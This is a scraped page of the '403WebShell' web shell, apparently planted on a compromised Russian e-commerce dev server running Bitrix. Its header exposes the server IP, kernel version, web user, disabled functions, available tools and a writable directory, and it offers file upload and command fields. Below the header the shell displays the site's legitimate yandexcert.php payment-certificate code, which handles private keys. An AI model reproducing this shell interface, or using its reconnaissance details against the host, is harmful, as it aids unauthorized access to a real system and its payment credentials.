%PDF- %PDF- 403WebShell
403Webshell
Server IP : 37.220.80.31  /  Your IP : 3.144.98.153
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64
User : www-root ( 1010)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/www-root/data/www/dev.artlot24.ru/bitrix/modules/sale/lib/paysystem/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/modules/sale/lib/paysystem/yandexcert.php
<?php
namespace Bitrix\Sale\PaySystem;

use Bitrix\Main\Config\Option;
use Bitrix\Main\Localization\Loc;
use Bitrix\Sale\Internals\PersonTypeTable;
use Bitrix\Sale\Internals\YandexSettingsTable;

Loc::loadMessages(__FILE__);

class YandexCert
{
	static public $pkey = null;
	static public $csr = null;
	static public $sign = null;
	static public $cn = '';
	static public $errors = array();

	/**
	 * @param $shopId
	 * @param $companyName
	 */
	static public function generate($shopId, $companyName)
	{
		$yandexCsr = self::loadFromOptions($shopId);
		if ($yandexCsr === '')
		{
			self::$cn = "/business/".$companyName;

			$config = array(
				"digest_alg" => "sha1",
				"private_key_bits" => 2048,
				"private_key_type" => OPENSSL_KEYTYPE_RSA,
			);

			$dnFull = array(
				"countryName" => "RU",
				"stateOrProvinceName" => "Russia",
				"localityName" => "Moscow",
				"commonName" => self::$cn,
			);

			$res = openssl_pkey_new($config);
			$csr_origin = openssl_csr_new($dnFull, $res);
			if ($csr_origin === false)
				return;
			$csr_full = "";
			openssl_pkey_export($res, self::$pkey);
			openssl_csr_export($csr_origin, self::$csr);

			openssl_csr_export($csr_origin, $csr_full, false);
			preg_match('"Signature Algorithm\: (.*)-----BEGIN"ims', $csr_full, $sign);
			$sign = str_replace("\t", "", $sign);
			if ($sign)
			{
				$sign = $sign[1];
				$a = explode("\n", $sign);
				unset($a[0]);
				$sign = str_replace("         ", "", trim(join("\n", $a)));
			}
			self::$sign = $sign;

			$dbRes = YandexSettingsTable::getById($shopId);
			if ($dbRes->fetch())
				YandexSettingsTable::update($shopId, array('SIGN' => self::$sign, 'CSR' => self::$csr, 'PKEY' => self::$pkey, 'CERT' => ''));
			else
				YandexSettingsTable::add(array('SHOP_ID' => $shopId, 'SIGN' => self::$sign, 'CSR' => self::$csr, 'PKEY' => self::$pkey));
		}
    }

	/**
	 * @param $shopId
	 * @param bool $all
	 * @throws \Exception
	 */
    static public function clear($shopId, $all = false)
	{
		if ($all)
			$settings = array('CERT' => '', 'SIGN' => '', 'CSR' => '', 'PKEY' => '');
		else
			$settings = array('CERT' => '');

		YandexSettingsTable::update($shopId, $settings);
    }

	/**
	 * @param $shopId
	 * @return string
	 */
	static public function getCn($shopId)
	{
		$yandexCsr = self::getValue('CSR', $shopId);

		$subjects = openssl_csr_get_subject($yandexCsr);
		if (!isset($subjects['CN']) || empty($subjects['CN']))
			return '';

		return $subjects['CN'];
	}

	/**
	 * @param $shopId
	 * @return string
	 */
	static private function loadFromOptions($shopId)
	{
		$dbRes = PersonTypeTable::getList(array('select' => array('ID', 'PT_SITE_ID' => 'PERSON_TYPE_SITE.SITE_ID')));
		while ($data = $dbRes->fetch())
		{
			$csr = Option::get('yandexmoney.ycms', 'KASSA_MWS_CSR', '', $data['PT_SITE_ID']);
			if ($csr === '')
				continue;

			$csr = Option::get('yandexmoney.ycms', 'KASSA_MWS_CSR', '', $data['PT_SITE_ID']);
			$pkey = Option::get('yandexmoney.ycms', 'KASSA_MWS_PKEY', '', $data['PT_SITE_ID']);
			$sign = Option::get('yandexmoney.ycms', 'KASSA_MWS_SIGN', '', $data['PT_SITE_ID']);
			$cert = Option::get('yandexmoney.ycms', 'KASSA_MWS_CERT', '', $data['PT_SITE_ID']);

			$dbRes = YandexSettingsTable::getById($shopId);
			if (!$dbRes->fetch())
			{
				YandexSettingsTable::add(array('SHOP_ID' => $shopId, 'CSR' => $csr, 'PKEY' => $pkey, 'SIGN' => $sign, 'CERT' => $cert));
				return $csr;
			}
		}

		return '';
	}

	/**
	 * @param $shopId
	 * @return bool
	 * @throws \Bitrix\Main\ArgumentNullException
	 */
	static public function isLoaded($shopId)
	{
		$cert = self::getValue('CERT', $shopId);
        return !empty($cert);
	}

	/**
	 * @param $file
	 * @param $shopId
	 */
	static public function setCert($file, $shopId)
	{
		if (!empty($file['name']))
		{
			if (mb_substr($file['name'], -4) != '.cer')
				self::$errors[]  = Loc::getMessage('YANDEX_CERT_ERR_EXT');
			elseif ($file['error'] != UPLOAD_ERR_OK)
				self::$errors[]  = Loc::getMessage('YANDEX_CERT_ERR_LOAD');
			elseif (filesize($file['tmp_name']) > 2048)
				self::$errors[]  = Loc::getMessage('YANDEX_CERT_ERR_SIZE');
		}
		else
		{
			self::$errors[]  = Loc::getMessage('YANDEX_CERT_ERR_LOAD');
		}

		if (empty(self::$errors))
		{
			$cert = file_get_contents($file['tmp_name']);
			$cert_info = openssl_x509_parse($cert);
			if (isset($cert_info['subject']['CN']))
			{
				if ($cert_info['subject']['CN'] != self::getCn($shopId))
				{
					self::$errors[] = Loc::getMessage('YANDEX_CERT_ERR_CN');
				}
				else
				{
					$pkey = static::getValue('PKEY', $shopId);
					if (openssl_x509_check_private_key($cert, $pkey))
					{
						YandexSettingsTable::update($shopId, array('CERT' => $cert));
					}
					else
					{
						self::$errors[] = Loc::getMessage('YANDEX_CERT_ERR_ACCORDING_PKEY_TO_CERT');
					}
				}
			}
			else
			{
				self::$errors[] = Loc::getMessage('YANDEX_CERT_ERR_NULL');
			}
		}
	}

	/**
	 * @param $shopId
	 * @return mixed
	 */
	static public function getSign($shopId)
	{
		return self::getValue('SIGN', $shopId);
	}

	/**
	 * @param $shopId
	 * @return mixed
	 */
	static public function getCert($shopId)
	{
		return self::getValue('CERT', $shopId);
	}

	/**
	 * @param $shopId
	 * @throws \Bitrix\Main\ArgumentNullException
	 */
	static public function getCsr($shopId)
	{
		global $APPLICATION;
		$APPLICATION->RestartBuffer();

		header('Content-Description: File Transfer');
		header('Content-Type: application/octet-stream');
		header('Content-Disposition: attachment; filename=csr_for_yamoney.csr');
		header('Content-Transfer-Encoding: binary');
		header('Expires: 0');
		header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
		header('Pragma: public');
		echo self::getValue('CSR', $shopId);
		die();
	}

	/**
	 * @param $field
	 * @param $shopId
	 * @return mixed|string
	 */
	static public function getValue($field, $shopId)
	{
		$dbRes = YandexSettingsTable::getList(array('filter' => array('SHOP_ID' => $shopId)));
		if ($data = $dbRes->fetch())
			return $data[$field];

		return '';
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit